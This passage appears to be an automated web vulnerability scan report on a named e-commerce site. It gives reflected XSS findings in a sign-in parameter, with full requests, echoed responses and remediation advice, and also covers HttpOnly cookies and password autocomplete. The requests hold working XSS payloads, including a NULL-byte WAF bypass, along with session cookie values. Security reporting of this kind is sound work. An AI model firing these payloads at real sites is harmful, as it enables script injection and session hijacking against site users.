NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /sign-in.do?from=%0010afa"style%3d"x%3aexpression(alert(1))"6551a8508b2 HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:20:59 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 17147


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<a class="rollover" href="http://ecommerce.randomhouse.com/cart.do?from=.10afa"style="x:expression(alert(1))"6551a8508b2">
...[SNIP]...

2.22. https://ecommerce.randomhouse.com/sign-in.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3ec7"><script>alert(1)</script>c88b024cdae was submitted in the from parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sign-in.do?from=randomhoused3ec7"><script>alert(1)</script>c88b024cdae HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:07:04 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17195


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<a class="rollover" href="http://ecommerce.randomhouse.com/cart.do?from=randomhoused3ec7"><script>alert(1)</script>c88b024cdae">
...[SNIP]...

2.23. https://ecommerce.randomhouse.com/sign-in.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b6f8e</script>0cfb073a38a was submitted in the from parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to can close the open <SCRIPT> tag and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sign-in.do?from=b6f8e</script>0cfb073a38a HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:21:44 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 16963


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!--
   // extract 'from' param
   var url = window.location.href;
   var paramStart = url.indexOf("?");
   var fromParam = '';
   if( 'b6f8e</script>0cfb073a38a' == '') {
       if( paramStart != -1) {
           var paramString = url.substr(paramStart + 1);
           var tokenStart = paramString.indexOf('from');
           if( tokenStart != -1) {
               var token = paramString.substr(toke
...[SNIP]...

2.24. https://ecommerce.randomhouse.com/sign-in.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1e67a'%3balert(1)//c85d7540c7f was submitted in the from parameter. This input was echoed as 1e67a';alert(1)//c85d7540c7f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sign-in.do?from=randomhouse1e67a'%3balert(1)//c85d7540c7f HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:07:08 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17075


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!--
   // extract 'from' param
   var url = window.location.href;
   var paramStart = url.indexOf("?");
   var fromParam = '';
   if( 'randomhouse1e67a';alert(1)//c85d7540c7f' == '') {
       if( paramStart != -1) {
           var paramString = url.substr(paramStart + 1);
           var tokenStart = paramString.indexOf('from');
           if( tokenStart != -1) {
               var token = paramString.substr(toke
...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next
There are 4 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



3.1. http://ecommerce.randomhouse.com/cart.do  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cart.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:22 GMT
Server: Apache
Set-Cookie: JSESSIONID=99AF3E637ECB1D69552DA7E98D58C60F.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19400


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

3.2. https://ecommerce.randomhouse.com/account.do  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /account.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:29 GMT
Server: Apache
Set-Cookie: JSESSIONID=30BCBB9743BBB87336047B037BF512BF.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16859


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...

3.3. https://ecommerce.randomhouse.com/sign-in.do  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sign-in.do HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; mbox=check#true#1303855733|session#1303855598284-166145#1303857533|PC#1303855598284-166145#1366927673; RES_SESSIONID=212207240983843; ResonanceSegment=1; CP=null*

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:18:06 GMT
Server: Apache
Set-Cookie: JSESSIONID=A35B965C00D29FC0BBB2802EC939085E.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16763


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...

3.4. http://ecommerce.randomhouse.com/cart.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cart.do?from=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000B6E)%3C/script%3E&addFlag=false&coupon=3&submit=Apply HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; CP=null*; mbox=session#1303855598284-166145#1303859906|PC#1303855598284-166145#1366930046|check#true#1303858106; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:47:26 GMT
Server: Apache
Set-Cookie: rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; Domain=.randomhouse.com; Expires=Wed, 25-Apr-2012 22:47:27 GMT
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19741


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

4. Password field with autocomplete enabled  previous  next
There are 6 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


4.1. https://ecommerce.randomhouse.com//email-password.do  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //email-password.do

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET //email-password.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:11 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 18043


<!-- updateEmailPassword.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="
...[SNIP]...
<!-- End SiteCatalyst code version: H.17. -->
<form action="email-password-submit.do" method="post" name="emailPasswordForm" type="org.apache.struts.validator.DynaValidatorForm">
<input type="hidden" name="redirect" value="" />
...[SNIP]...
<div style="margin-left:183px;padding:5px;">
                       <input type="password" name="password" value="" maxlength="20" size="40" style="width: 160px">
                   </div>
...[SNIP]...
<div style="margin-left:183px;padding:5px;">
                       <input type="password" name="confirmPassword" value="" maxlength="20" size="40" style="width: 160px">
                   </div>
...[SNIP]...

4.2. https://ecommerce.randomhouse.com/account.do  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /account.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:29 GMT
Server: Apache
Set-Cookie: JSESSIONID=30BCBB9743BBB87336047B037BF512BF.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16859


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!-- End SiteCatalyst code version: H.17. -->
<form action="sign-in-submit.do" method="post" name="signInForm" type="org.apache.struts.validator.DynaValidatorForm">            
<div id="ecom_page_contents">
...[SNIP]...
<span class="ecom_login_field">
                               <input type="password" name="password" value="" size="30" />
                           </span>
...[SNIP]...

4.3. https://ecommerce.randomhouse.com/create-account-submit.do  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account-submit.do

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /create-account-submit.do HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; mbox=session#1303855598284-166145#1303858226|PC#1303855598284-166145#1366928366|check#true#1303856426; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:47:05 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 20778


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...
</script>
<form action="create-account-submit.do" method="post" name="createAccountForm" type="org.apache.struts.validator.DynaValidatorForm">
<input type="hidden" name="shippingAddress" value="useBillingAddress" />
...[SNIP]...
<div class="account_data_value">
                   <input type="password" name="password" value="">
                   </div>
...[SNIP]...
<div class="account_data_value">
                   <input type="password" name="confirmPassword" value=""> (min 6 characters)
                   </div>
...[SNIP]...

4.4. https://ecommerce.randomhouse.com/create-account.do  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account.do

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /create-account.do HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:19:46 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 20193


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...
</script>
<form action="create-account-submit.do" method="post" name="createAccountForm" type="org.apache.struts.validator.DynaValidatorForm">
<input type="hidden" name="shippingAddress" value="useBillingAddress" />
...[SNIP]...
<div class="account_data_value">
                   <input type="password" name="password" value="">
                   </div>
...[SNIP]...
<div class="account_data_value">
                   <input type="password" name="confirmPassword" value=""> (min 6 characters)
                   </div>
...[SNIP]...

4.5. https://ecommerce.randomhouse.com/sign-in-submit.do  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in-submit.do

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /sign-in-submit.do HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:26:47 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 16981


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!-- End SiteCatalyst code version: H.17. -->
<form action="sign-in-submit.do" method="post" name="signInForm" type="org.apache.struts.validator.DynaValidatorForm">            
<div id="ecom_page_contents">
...[SNIP]...
<span class="ecom_login_field">
                               <input type="password" name="password" value="" size="30" />
                           </span>
...[SNIP]...

4.6. https://ecommerce.randomhouse.com/sign-in.do  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /sign-in.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:44 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16851


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!-- End SiteCatalyst code version: H.17. -->
<form action="sign-in-submit.do" method="post" name="signInForm" type="org.apache.struts.validator.DynaValidatorForm">            
<div id="ecom_page_contents">
...[SNIP]...
<span class="ecom_login_field">
                               <input type="password" name="password" value="" size="30" />
                           </span>
...[SNIP]...

5. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

